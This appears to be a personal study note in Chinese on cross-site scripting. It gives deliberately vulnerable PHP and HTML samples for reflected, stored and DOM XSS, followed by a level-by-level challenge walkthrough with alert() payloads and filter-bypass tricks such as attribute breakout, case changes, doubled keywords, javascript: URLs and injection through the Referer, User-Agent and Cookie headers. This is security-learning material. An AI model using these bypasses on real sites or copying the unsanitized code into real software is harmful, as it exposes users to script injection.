XSS

概念

攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码

image.png
image.png

最最基础的一个代码就是:,你甚至可以在本地建一个 txt,输入它,改成 html 之后用浏览器打开,就会发现弹了一个窗

反射型

概念

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

例子

1
2
3
4
5
<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

直接引用了 name 参数,没有过滤,如果传参:

image.png
image.png

持久型(存储型)

概念

此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
$name = $_GET["name"];
if ($name){//连接服务器
$conn = mysqli_connect("127.0.0.1","root","root","yichen");
//检测连接
if ($conn->connect_error)
{
die("connect fail".$conn->connect_error);
}
//插入语句
$sql_insert = "insert into yichen(name) values('$name')";

if (mysqli_query($conn, $sql_insert)) {
echo "insert ok !";
} else {
echo "Error: " . $sql_insert . "<br>" . mysqli_error($conn);
}
//查询内容
$sql_select = "select * from yichen";
$result = mysqli_query($conn,$sql_select);

if ($result->num_rows > 0) {
// 输出每行数据
while($row = $result->fetch_assoc()) {
echo "<br>". " - Name: ". $row["name"];
}
} else {
echo "0 results";
}}
else{
echo "give me a name";
}
?>

我们看一下这条语句,它把我们通过 GET 传递的参数给存到了数据库里面
$sql_insert = “insert into yichen(name) values(‘$name’)”;

之后又通过这条语句,把数据库里面的内容取出来,输出在页面上
echo “
“. “ - Name: “. $row[“name”];

而在页面上的时候被错误的解析成了 javascript 代码执行了,就弹了一个窗

来演试一下:在还没有传递 name 这个参数的时候,数据库里面是这样的:

image.png
image.png

只有一个 name 是 yichen 的记录

当我们给他一个 name 值的时候:他把数据库的所有 name 都查询出来,并在页面上显示

image.png
image.png

此时数据库里面的内容

image.png
image.png

当我们输入 的时候会怎么样呐?

image.png
image.png

此时数据库的内容

image.png
image.png

可以发现,网页上并没有显示 这是因为它已经被认为是代码了,我们可以看一下网页源代码:

image.png
image.png

还有一点需要注意,此时他已经被存放在数据库里面,如果别人再去使用这个网页也会弹窗

image.png
image.png
image.png
image.png

DOM 型

1
2
3
4
5
6
7
8
<body>
hello
<script type="text/javascript">
document.URL.match(/name=([^&]*)/);
document.write(unescape(RegExp.$1));
</script>
hacker
</body>

访问:127.0.0.1/php/learn/xss/domXSS.html?name=

image.png
image.png

XSS 挑战赛

XSS 挑战赛

第一关

没有啥过滤,直接 <script>alert(1)</script>

第二关

有两处,第一处有 htmlspecialchars()函数,会把<>标签转义成 html 编码的格式
第二处,没有 htmlspecialchars()函数,但是需要逃逸<””>,所以是 "><script>alert(1)</script>

第三关

两处都有 htmlspecialchars()函数,没法使用这样的啦,因为会被转义,所以使用新的方法
onclick='alert(/xss/)'
onmouseover='alert(/xss/)'

onclick=’’ 当点击时触发引号内的语句
onmouseover=’’ 当鼠标经过时触发引号内的语句

第四关

使用双引号闭合就可以了 "onmouseover='alert(1)'

第五关

1
2
3
<?php
$str2=str_replace('<script','<scr_ipt',$str);
$str3=str_replace('on','o_n',$str2);

对 <srcipt 和 on 进行替换,在中间插上了一个 _
在第二个地方没有 html 转义,所以可以使用 "> <a href='javascript:alert(1)'>

第六关

1
2
3
4
5
6
<?php
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

过滤了上面这一些,但是没有转换大小写,可以使用大小写绕过:
"OncLick='alert(1)'

第七关

把 on 过滤掉了,双写绕过 "oonnclick='alert(1)'

第八关

1
2
3
4
5
6
7
8
<?php
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);

对传入的转换成小写,同时匹配一些关键字进行替换
javascript:alert(1)

第九关

要带着 http://才行,直接后面注释一下,带着就可以了
javascript:alert(1)//http://yichen.com

第十关

1
2
3
4
5
6
7
8
9
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">

源码中可以传递的参数是 keyword 跟 t_sort,对 keyword 进行了 htmlspecialchars() 函数操作,即进行了 html 编码,使用 t_sort 过滤掉了尖括号,想要使用的话需要构造出正常的 js

传参:t_sort="onclick="alert()"type="text
带进去以后是:<input name="t_sort" value=""onclick="alert()"type="text" type="hidden">

第十一关

通过 HTTP_REFERER 获取到的值放在了 t_ref 里面

1
2
3
4
5
<?php
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ref" value="'.$str33.'" type="hidden">

使用 burp 抓包改 Referer:"onclick="alert(1)"type="text

image.png
image.png

第十二关

改的是 User_Agent
User-Agent: "onclick="alert(1)"type="text

第十三关

改的是 cookie 里面的值
Cookie: user="onclick="alert(1)"type="text

第十四关

崩了

CSRF

概念

CSRF,全名 Cross Site Request Forgery,跨站请求伪造。很容易将它与 XSS 混淆,对于 CSRF,其两个关键点是跨站点的请求与请求的伪造,由于目标站无 token 或 referer 防御,导致用户的敏感操作的每一个参数都可以被攻击者获知,攻击者即可以伪造一个完全一样的请求以用户的身份达到恶意目的。

xss 练习

https://xss.haozi.me/#/